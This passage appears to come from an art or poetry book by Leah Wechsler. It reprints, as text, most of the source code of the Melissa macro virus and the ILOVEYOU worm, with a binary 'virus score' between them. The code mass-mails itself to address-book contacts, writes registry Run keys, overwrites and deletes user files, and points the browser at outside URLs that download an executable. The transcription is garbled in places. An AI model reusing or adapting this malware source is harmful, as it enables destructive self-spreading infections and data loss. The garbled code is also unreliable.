Peep = AddyBook.AddressEntries(x)

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BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)


BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set TolInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop

Leah Wechsler “Garden Full of Flowers” 33
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjib0
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Word -> Email I Word 97 <-- Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
Sample of ‘I love you’ Virus Score:

010 100 101 000 010
101 110 101 001 101 100 011
011 100 100 110 100 101
110 000 011 101
000 010 111 001 010 011
011 000 110 111 001
001 101 001 011 100
000 111 010 001
000 110 011 101 010 110
110 001 101 100 011
011 100 110
000 101 101 101
011 001 010
010 110 000
110 001 001 010
010 000 110 100 001
010 011 101 100 110 001
001 110 011 011 000 110
110 111 101 110 000 011
110 010 011 110 101
100 110 011 010 010 110
110 001 100 101 001
011 100 101 001 001 100
101 011 000 010
110 010 001 000 001 011
001 001 111
010 101 100
100
010 101 001 100
010 001 010 101
010 001
010100
010 001
010 101
001 000 100
000 001 011
010
010 000
001
001 000
010 101
000 100 110
101 001
100
'I love you' Virus Source Code:

em barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila, Philippines
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullName, 1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr, rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",
dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int(4 * Rnd) + 1

if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Startup", "http://www.skyinet.net/~young1s/HJKhjnwerhjkcvtywertenMTFwetrstfmmhnjw658734gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Startup", "http://www.skyinet.net/~angelcat/skladjfrfjghKJnwtetryDGFiKjUlyqwerWe546786324hjk4jnHGBvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Startup", "http://www.skyinet.net/~koichi/jf6TRjkcbrGpaQ19vbFV5hFEkbopBdQZnmPOhfGER67b3Vbg/WIN-BUGSFIX.exe"
elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Startup", "http://www.skyinet.net/~chu/sdoghjkstfjklNBmngkKLHjkqutuHJBhAFSDGjkhYUgwerasdhjPhjasfdgIkBbqwebmzcnxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread&"\WIN-BUGSFIX.exe"
end if

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Startup", "about:blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1(fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
else if (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetFileName(f1.path)
    set cop=fso.GetFileName(f1.path)
    cop.copy(folderspec&"\"&bname&".vbs")
    fso.DeleteFile(f1.path)
else if (ext="jpg") or (ext="jpeg") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFileName(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
else if (ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFileName(f1.path)
    att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
        (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mlRC Script"

scriptini.WriteLine "; Please dont edit this script... mlRC will corrupt, if mlRC will"

scriptini.WriteLine "corrupt... WINDOWS will affect and will not run correctly. thanks"

scriptini.WriteLine ";;

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";;

scriptini.WriteLine "n0=on 1:JOIN:#{"n1=/if { $nick == $me } { halt }"

scriptini.WriteLine "n2=/dcc send $nick"

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3={

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
  infectfiles(f1.path)
  folderlist(f1.path)
next
drop sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
drop sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
drop function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
  msg = 0
else
  msg = 1
end if
fileexist = msg
drop function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
    msg = 0
else
    msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\&a")
    if (regv="") then
        regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
        for ctretries=1 to a.AddressEntries.Count
            malead=a.AddressEntries(x)
            regad=""
            regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\&malead")
if (read=="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbCrLf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML</TITLE><META

Leah Wechsler “Garden Full of Fireflies” 46
"<META NAME=\-\-Author CONTENT=\-\-ispyder ispyder@mail.com \\>
@GRAMMERSoft Group ?? Manila, Philippines ?? March 2000@-@>"&vbcrlf& _
"<META NAME=\-\-Description CONTENT=\-\-simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=##main-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#.#main-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=##main-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#.#main-#)@-@ BGPREFERENCES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control?<?p><p>To Enable to read
this HTML file&lt;BR&gt;- Please press #YES# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@@infinite@@
BGCOLOR=@@yellow@@>----------z---------------z---------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@@JScript@@>"&vbcrlf& _

"<!--??-?"&vbcrlf& _

"if (window.screen)(var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);)"&vbcrlf& _

"?--??-->"&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@@VBScript@@>"&vbcrlf& _

"<!--"&vbcrlf& _

"on error resume next"&vbcrlf& _

Leah Wechsler “Garden Full of Fnerav” 47
"dim fso, dirsystem, wri, code, code2, code3, code4, aw, regedit" & vbCrLf & _
"aw=1" & vbCrLf & _
"code="

data2="set fso=CreateObject("-@-Scripting.FileSystemObject@-@")" & vbCrLf & _
"set dirsystem=fso.GetSpecialFolder(1)" & vbCrLf & _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))" & vbCrLf & _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))" & vbCrLf & _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))" & vbCrLf & _
"set wri=fso.CreateTextFile(dirsystem@-@^MSKernel32.vbs@-@)" & vbCrLf & _
"wri.write code4" & vbCrLf & _
"wri.close" & vbCrLf & _

"if (fso.FileExists(dirsystem@-@^MSKernel32.vbs@-@)) then" & vbCrLf & _
"if (err.number=424) then" & vbCrLf & _
"aw=0" & vbCrLf & _
"end if" & vbCrLf & _

"if (aw=1) then" & vbCrLf & _
"document.write @-@ERROR: can#t initialize ActiveX@-@" & vbCrLf & _
"window.close" & vbCrLf & _

"end if" & vbCrLf & _

"end if" & vbCrLf & _

"Set regedit = CreateObject("-@-WScript.Shell@-@")" & vbCrLf & _

"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^Software^Microsoft^Windows^CurrentVersion^Ru
n^MSKernel32@-@, dirsystem@-@^MSKernel32.vbs@-@" & vbCrLf & _
"?-???--->" & vbCrLf & _
"<?-?SCRIPT>"
dt1=replace(dt1,chr(35)&chr(45)&chr(35),"")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"****")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"")
dt2=replace(dta2,chr(64)&chr(45)&chr(64),"****")
dt3=replace(dta2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dta2,chr(94)&chr(45)&chr(94),"")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrif)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"****",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrif& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines, vbCrLf)
d.write vbCrLf
d.write dt6
d.close
d.end sub